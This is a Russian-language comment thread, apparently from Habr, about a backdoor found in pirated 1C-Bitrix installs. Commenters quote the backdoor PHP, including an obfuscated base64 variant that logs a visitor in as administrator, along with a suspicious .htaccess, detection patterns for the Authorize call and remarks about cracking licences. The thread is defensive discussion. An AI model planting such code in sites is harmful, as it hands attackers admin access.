Комментарии 149
Классика жанра, не?
А вот грамотность обслуживания сайтов хромает — никто не задается вопросом проблем с обновлением от разработчиков, как на том же условном битриксе, так и на других cms типа wordpress/joomla и тп.
Я имею ввиду классика — скачанные с торрентов пиратские версии CMS, форумных движков итд, где через N месяцев обнаруживаются бэкдоры, зашитые авторами торрентов. К моменту когда торрент удаляется, в зависимости от навыков автора, у него тысячи скачиваний и сотни сайтов с владельцев которых можно вымогать деньги. Ну а потом бэкдор уходит в паблик
По моему этим в середине / конце 2000ых болели половина форумов на IPB, vBulletin, XenForo и другие фан сайты на платных движках где владельцы просто не могли себе позволить лицензию в сотни долларов.
Ну а сегодня просто желание сэкономить
Вордпресс давно обновляется сам, это модно конечно отключить — но кто нажмет лишнюю кнопку.
Перед битриксом поставить нжинкс например и эти редиректы заредиректить на главную например
Ну вот попрошу без грязи. Если в Битриксе обновления безопасности не устанавливаются автоматически без участия пользователя не значит что в других cms все так же плохо
Интересно, что никто не делал публичный анализ ядра битрикс. Возможно там этих бэкдоров ведрами черпай.
— вебмастера оставляющие такие файлы в корне продакшен серверов
— CMS которая отказалась от Frontcontoller подхода (дефакто стандарта в мире PHP) и дает злым дядям грузить и запускать что угодно из паблик директории
<?
require($_SERVER["DOCUMENT_ROOT"] . "/bitrix/header.php");
global $USER;
$USER->Authorize(1);
LocalRedirect(“/bitrix/admin/”);в стандартном дистрибутиве его нет, в проблемных он был в трех экземплярах раскинут по разным папкам (но у всех одинаково), что наводит на мысли о том, что используемый дистрибутив был скачан вместе с ними.
при этом взломанные сайты между собой никак не связаны, у них разные владельцы, разные разработчики, короче всё разное, кроме пары общих факторов.
Проблема в том, что многие массово используют этот самый пиратский битрикс с возможной дырой. Не так много, как те, кто использует его легально — но я столкнулся не с 5 и даже не с 20 случаями взлома через эту дырку.
А так да, основная дырка тут не бэкдор, а желание сэкономить, как сказали выше.
Заказчики жадные потому, что нанимаю за еду и бледнеют когда им озвучивают стоимость лицензии.
Исполнители тупые потому, что ленятся даже движек сами скачать и взломать, это несложно и есть руководство. И ленивые потому что в голову им приходит просто проверить файлы на строчку autorize(1). Это самая простая закладка в Битриксе.
И кстати как результат все наказаны. Исполнители получают за работу еду вместо денег. Заказчик взлом вместо рабочего сайта.
Не отлавливает в большинстве случаев. Откуда ему знать, что Васин компонент, переопределяющий шаблон стандартного элемента каталога, содержит лишнюю строку с инклюдом шелла?
Поэтому и пришлось писать свой сканер.
Цена вопросаинрает свою роль, есть заказчики с условной 1000р, хочешь делай, не хочешь не делай.
Так всё. Именно стоимость лицензии как признак платежеспособности клиента.
Уверен, что не один я неправильно понял ваш новый заголовок.
Знакомый код, да? Это код который вы могли скопипастить из первых 10 страниц гугла, по запросу: «Битрикс скрипт авторизации без смс и регистрации». Сейчас ситуация лучше и стали добавлять строчку
@unlink(__FILE__); Но раньше, никто не парился, и этот код
Почему у 3 разных заказчиков этот файл в одних и тех же местах? Хороший вопрос, но очень сомневаюсь что его положили туда злоумышленники, скорее всего встроили бы прямо в код ядра бекдор и бекдор бы поумнее заюзали.
index.php
Даже если строка запроса будет такой:
/test.php
Запрос придет в index.php и там обработается роутером приложения, так работает весь адекватный веб на php и большая часть топ5 фреймворков. У вебмастера просто не получится там что-то оставить на диске, так как напрямую файлы с диска не грузятся, и уж тем более не инетрпитируются.
А разрешать грузить что угодно на диске, это довольно рисковый подход
CMS которая отказалась от Frontcontoller подхода (дефакто стандарта в мире PHP) и дает злым дядям грузить и запускать что угодно из паблик директории
В новой версии Битрикс он уже есть.
Вышел в одной из последних. Надо в код лезть, с ходу точную версию не могу сказать. Я правда ещё бетами пользуюсь, поэтому могу ошибиться — в продакшене или ещё нет. По умолчанию используется urlrewrite, но можно переключится на почти нормальный роуминг. За основу был взят симфоневский. Разработчики о нем раскалывали то ли на прошлой конференции, то ли на позапрошлой.
Ужа с ежом там скрестили, как всегда
https://youtu.be/1_xYUQzQHj8?t=1244
Как при этом партнёры будут переучивать нынешних разрабов, которые привыкли там index.php, тудам index.php и в продакшен — я слабо представляю
Плюс ещё проблема в том что контент менеджер может лёгким движением руки вставить любой код в подключаемую область и это никто не заметит. Я когда это увидел первый раз очень удивился.
Вот если Вас поломали из-за соседа на сервере, то это дырявый хостинг.
«Один IP» назвать можно?
Ну и вообще интересно было бы услышать подробности. В официальном (не спираченном) дистрибутиве new.php в указанных местах нет, но теоретически их можно было и получить из-за какой-то массово проэксплуатированной уязвимости. Реакции от 1С на «скандал» нет?
Выше я говорил об этом, что в оф редакции битрикса таких файлов нет, и не было в принципе. Айпи самый обычный digital ocean, не думаю что есть смысл его раскрывать — таких тысячи, да и многие ищут уязвимости через уязвимости. Как например взломанный вордпресс может сканить другие вордпресс сайты на предмет наличия уязвимостей
Это примерно то же самое, как они не слышали про то, что Битрикс генерирует сам кучу лишнего html кода при оформлении страницы…
Та и не свойственно большим компаниям с российскими корнями что-то признавать. АВОСЬ само рассосется!
А какую реакцию вы ожидаете? Это все равно что ждать реакции официальной от ауди или теслы, что угнанный, сваренный в гараже из трех тотальных авто их автомобиль взорвался в дтп и там погибли люди. Понятно, но производитель то тут при чем?
В тексте посыл о пиратской причине «уязвимости» подается как предположение, а не как доказанное утверждение.
Соответственно, пусть небольшая, но существует вероятность того, что дело в чем-то другом. «Что-то другое» может быть только эксплуатацией уязвимости уже в официальном коде.
Например, недавно Битрикс стал просить обновиться до php 7.4 с более ранних версий. Допустим, народ обновился, но оставил некоторые небезопасные настройки, что могло быть причиной уязвимости.
Да, это предположение, но сделанное на основе наблюдений, что все взломанные порталы были пиратскими. Весьма веский довод. Было бы желание, можно было бы найти более весомые доказательства этому.
А предположение об уязвимости в коде ни на чем вообще не основано. Нет никаких предпосылок к этому вообще.
Таки нет, так-как
1) во-первых, версии взломанных были разными, и не самыми древними
2) в некоторых версиях ядро битрикса (то, где проверяется лицензия) — закодировано (точно не помню, в каких и до каких)
3) ну и анализ диффом это весьма длительная задача для битрикса, учитывая его иерархию. Безусловно, можно быстро отсеить все что одинаковое и анализировать что отличается, но… зачем столько чести для взломанного битрикса? Будь это лицензионный, то да, можно провести более доскональное расследование. Хотя у битрикса нет репо, где можно найти любую версию, чтобы поиск был наиболее грамотным.
Но Ваше предположение выглядит корректно, возможно найденные файлы лишь часть проблемы.
ну и анализ диффом это весьма длительная задача для битрикса, учитывая его иерархию.
-r, --recursive
recursively compare any subdirectories foundКроме ядра Битрикса есть ещё отдельные страницы — каждая тоже php файл и есть шаблоны и кастомное переопределение стандартных компонентов Битрикса — тоже с кучей php, перемешанного с html. )))
Предлагаю поменять в заголовке 'под угрозой сотни сайтов' на 'под угрозой миллионы сайтов', почему бы и нет?
Как то очень странно. Знаю 2 способа взлома лицензии битрикса. 1ый через ежемесячное обновление хешей в бд, второй через изменение нескольких строк в хитро обусфицированном файле. Но ни один не подразумевает использование таких файлов или изменения прав доступа или еще чего то подобного.
Так что есть немалая вероятность что непосредственно для загрузки этих файлов использовалась какая то другая уязвимость, которую неплохо было найти.
А так пост выглядит как будто автор был рад свалить все на взломанный битрикс и не копать дальше.
Как вариант конечно что битрикс был скачан у пиратов с уже зашитым бекдором, но там совсем древние версии и раз люди не смогли сами сделать довольно простой взлом то ну как бы туда и дорога. Либо делать нормально самому либо платить за лицензию.
Могли скачать древнюю версию и обновиться до актуальной. Почему нет?
Да там не очень хитро, include.php, делов на 15 минут, когда замучился каждые 30 дней танцевать с бубном для локальной разработки на каждом проекте, то пришел к выводу что быстрее расшифровать и сделать "пиратку" для дева, так быстрее. Меня удивляет что в Битриксе видят процесс разработки только одним человеком и дают на лицензию только одну копию для дева, у них там вообще свои взгляды на жизнь, которые часто не стыкуются с реальностью.
Вот это «новость»! Оказывается, пиратский софт содержит бэкдор!
При этом у людей лицензия есть.(пока не вижу подтверждения про пиратский bitrix)
Работа бота очень странная, у нас, например, бот также перебирал имена и нашел файл с авторизацией, но при этом не сразу запустил /bitrix/admin/php_command_line.php.
Файл с авторизацией( если полагаться на дату, что не очень правильно) был создан более года назад:
<?require($_SERVER["DOCUMENT_ROOT"]."/bitrix/header.php");
use Bitrix\Main,
Bitrix\Main\Application,
Bitrix\Main\Loader;
?>
<?
$USER->Authorize(1);
?>
<?require($_SERVER["DOCUMENT_ROOT"]."/bitrix/footer.php");?>
Далее через сутки этот же бот почему-то проходит все файлы снова.
На глаза попался адрес 3l.l72.225.2ox, уже неделю ходит на сайт зараженный и перебирает файлы.
Скорее всего несколько личностей ломают сайт(ы), так как есть фиксация в логах другого поведения по «бекдорам».(например, настырное изменение htaccess)
<FilesMatch ".(phtml|php|PhP|php5|suspected)$">
Order Allow,Deny
Deny from all
<FilesMatch "(index).php$">
Order Allow,Deny
Allow from all
<FilesMatch "(wp-load).php$">
Order Allow,Deny
Allow from all
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php$ — [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule. index.php [L]
Интересно, а название файла какое было?
Также наблюдается сканирования с 79.l35.82.lx (вот с этим адресом можно уже проводить мероприятия. Вредитель за ним или зараженный, вот вопрос?)сегодня на 2-х разных сайтах(такой же перебор файлов).
Если ты не разрабатываешь сайт и не сопровождаешь его всегда.(это же не SQL inject были)
Конечно можно сделать белый список для серверов bitrix, но эти самые сервера сканируют сайты на наличие файлов, которые считают не нужными на рабочем сайте. Например, restore.php (типичный сканер безопасности bitrix).
Ну поменяете вы на сайте часть разделов. Или удалите часть каталога. И у вас пачками в бан улетят поисковые роботы.
Как Битриксоид с большим стажем, скажу что часто этим и сами программисты грешат, кладут такой бэкдор. Чаще всего фрилансеры такое делают.
Берите скрипт-сканер, пользуйтесь:
habr.com/ru/post/543906
P.S. Паттерн
Authorize(\d) я туда добавил, с большим весом, спасибо ))
habr.com/ru/post/544572/#comment_22753044
UPD: мда, там куча конструкций вида
$oAuthManager->Authorize($_REQUEST["auth_service_id"])… надо разобраться, как это работает и насколько уязвимо.С Authorize я надеялся, что он вызывается достаточно редко вообще, но увы. Придётся ловить по
\$USER->Authorize\([^\$], и дальше как обычно разбираться руками, что там за фигня творится. Битрикс так написан, что код его исходников иногда сложно отличить от кода вируса.
Хотя да, в данном случае кто-то залил бэкдор, заточенный под битрикс почему-то.
Обычно даты создания таких файлов не соответствуют реальному времени создания.
И обычно файл сперва заливается, «настаивается», и только спустя время эксплуатируется.
Так что заголовок действительно кликбейт. Так же можно написать «под угрозой миллионы сайтов с php» или «под угрозой миллионы сайтов с ftp».
Скорее всего проблема не в пиратской версии, а в уязвимости движка.
Только на днях было несколько случаев:
файлы с таким же именами;
отредактированный .htaccess;
скриншот обфусцированного кода из index.php.
Все были на лицензии (но без обновлений разное время), располагались как на хостинге, так и на vps.
все что на скриншоте — следствие угнанной админки сайта (admin admin или подобное) и возможности загрузить файл через эту админку
"бэкдор" этот кроссплатформенный и чаще всего заражает modx
Почистили через модуль сканер и исправили все ошибки выявленные при проверке сканером безопасности. На данный момент всё в порядке и больше новых файлов не создавалось, но будем наблюдать…
Странное категоричное заявление "полюбому пиратский битрикс".
Почему не "в дырявый битрикс залили шелл" ?
ЗЫ. Наверное надежда что 1С вас заметят? )))
ЗЫЫ. Вы избавились от последствий, а не от причины
Но на моей памяти фактов взлома регулярно обновляемого битрикса с легально купленной лицензией не было. Поэтому склонен полагать так, но при этом не являюсь ни разработчиком битрикса, ни тем, кто хотел бы быть замеченным этой компанией.
Что сейчас используют из opensource решений?
github.com/mSnus/simple-virus-scanner
Надо будет посмотреть на aibolit, спасибо!
Битрикс тут не причём, конечно, если он лицензионный, и с ним работал сертифицированный программист.
Смотри соседние сайты, скрипты, в которых описана загрузка файлов и особенно старые сайты или сайты с самописными cms
Сам код был в таком виде:
<? $a =$_SERVER["DOCUMENT_ROOT"]; $b =$a.base64_decode ("L2JpdHJpeC9tb2R1bGVzL21haW4vaW5jbHVkZS8="); require($b.base64_decode("cHJvbG9nX2JlZm9yZS5waHA="));
$c = strrev("tuA").substr(strrev("ParBzirohMSlow"),5,round(0.00587544*851,0))."e"; global $USER; $USER->$c(true);require($b.base64_decode("ZXBpbG9nX2FmdGVyLnBocA=="));?>
<?require($a.base64_decode ("L2JpdHJpeC9mb290ZXIucGhw"));?>После декодировки:
require($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_before.php");
global $USER; $USER->Authorize(true);
require($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/epilog_after.php");
require($_SERVER["DOCUMENT_ROOT"]."/bitrix/footer.php");в корне находятся такие же файлы. подскажите как «вылечить» сайт и недопустить подобного в будущем.
битрикс был лицензионным
Мой сканер видели?
habr.com/ru/post/543906
github.com/mSnus/simple-virus-scanner
********.gov.ru/bitrix/redirect.php?event1=&event2=&event3=&goto=https://www.bluevalentine-restaurant.com/
в выдаче гугла.
Не лезть не в своё дело?
$gotoParseURL = parse_url($_REQUEST['goto']);
if( $gotoParseURL['host'] != $_SERVER['SERVER_NAME'] ){
die('Hacking attemp');
}если у Вас конечно есть доступ к этому)
Напишите в Роскомнадзор. Серьёзно.
На днях как раз закончился месяц как Росреестр мне ответил, что всё проверят и передадут разработчикам. Вероятно, никто не видит в этом проблемы.
Публикации
Бэкдор во взломанном 1С-Битрикс: под угрозой сотни сайтов